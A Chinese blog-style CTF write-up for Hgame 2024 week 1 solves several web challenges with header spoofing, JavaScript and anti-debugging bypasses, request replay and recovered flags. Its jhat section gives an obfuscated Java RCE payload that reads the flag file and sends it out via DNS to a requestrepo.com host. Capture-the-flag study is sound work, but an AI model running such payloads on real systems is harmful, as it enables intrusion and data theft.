Hgame 2024 week 1

by:Infernity

ezHTTP

请从vidar.club访问这个页面

在请求头中插入

referer:vidar.club

请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面

明显的UA头,修改UA头为以上。

请从本地访问这个页面

本地访问不止X-Forwarded-For一个头,有很多种,这里是X-Real-IP:127.0.0.1

最后拿到一串字符串

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc

base64解密后拿到flag

hgame{HTTP_!s_1mP0rT4nt}

当然这里不是base64,但是对于拿到flag来说,base64解密已经够了。解密时记得去掉点号。

图片.png

Bypass it

一个登录注册题,但是不让我注册

图片.png

弹窗一看就是JavaScript弄的,但是为了严谨,查看源码,注册那里有个/register_page.php

图片.png

点进去发现这样一段代码

1
<script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script>

这段代码是直接弹个窗,然后重定向到Login页面。那么好,直接禁用js就可以了,关于哪个浏览器如何禁用js这里不再赘述。

禁用后,就可以注册了,注册后退回到login界面,登录后一片白,但是看源码发现这里也是通过js重定向到userIndex.php页面,但是我们禁用了JS,这里就不会跳转,那我们就手动跳转入userIndex.php,进去后点击click here 拿到flag

hgame{5ca7e8897ddd8913d4d1fcba65e55acf7cfa8827}

SeleSelect Courses

这道题我不知道是哪来的什么提示或者是在考啥。进入后抓取选课的包,重复发同一个包几千遍,就会有一次选上,重复这个流程,直到五个都被选上,我这里是用burp发包的,写脚本亦可。

图片.png

五个都选上后拿到flag

图片.png

begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}

2048*16

这里首先的难点是我们明知道是JS游戏题,想要去调试,修改变量直接获取胜利,但是这里首先ban掉了F12和鼠标右键,还有ctrl+U这些不让我们看源码和调试,这个是JS做到的,所以我们还是直接禁用JS就可以打开调试工具了。

新的问题来了,这里JS关闭后,游戏不会正常启动,调试工具倒是打开了,那么这里利用浏览器的性质,打开F12后刷新也会保留F12。所以我们这里再打开JS刷新页面即可。

图片.png

新的问题来了,这里触发了JS反调试,无限debugger,这样是无法调试的,我们需要反 反调试。

https://blog.csdn.net/wxtcstt/article/details/129906561

在控制台里按以下方法输入:

  1. 打开F12点击Console
  2. 输入(function(){}).constructor === Function,回车;
  3. 如果返回的是true,继续输入Function.prototype.constructor = function(){},并回车;
  4. 切换回sources选项卡,点击继续执行,无限debugger的问题就解决了

图片.png

这里第一步我们就解决了,可以调试了,但是这道题把分数变量藏得很深,不能直接通过修改分数来达成目的。

我们搜索won,把断点打在1207行,这里明显是判断胜负的地方,那么,我们继续故意输掉游戏,让游戏卡在断点处。

图片.png

输掉游戏后,我们逐步跟进

图片.png

差不多五六步之后,出现了这样一个变量

图片.png

很明显了,我们在控制台处输入x=true

然后放开调试,让程序正常运行,拿到flag

图片.png

flag{b99b820f-934d-44d4-93df-41361df7df2d}

jhat

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

提示已经给的很全面了,打开环境后,进入OQL,即Object Query Language (OQL) query

然后要在这个框框里打payload进行rce,java题通用的rce payload为

1
java.lang.Runtime.getRuntime().exec("payload")

那么题目不出网,老方法,DNSlog外带。该方法在week2里已经写过,这里不再赘述。

1
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgY2F0IC9mKmAuM2p1c2V2NTUucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}")

图片.png

hgame{c000110cc71ea5a1e5b4366597038d8855af5a0f}


Hgame 2024 week 1
http://example.com/2024/01/31/Hgame 2024 week 1/
作者
Infernity
发布于
2024年1月31日
许可协议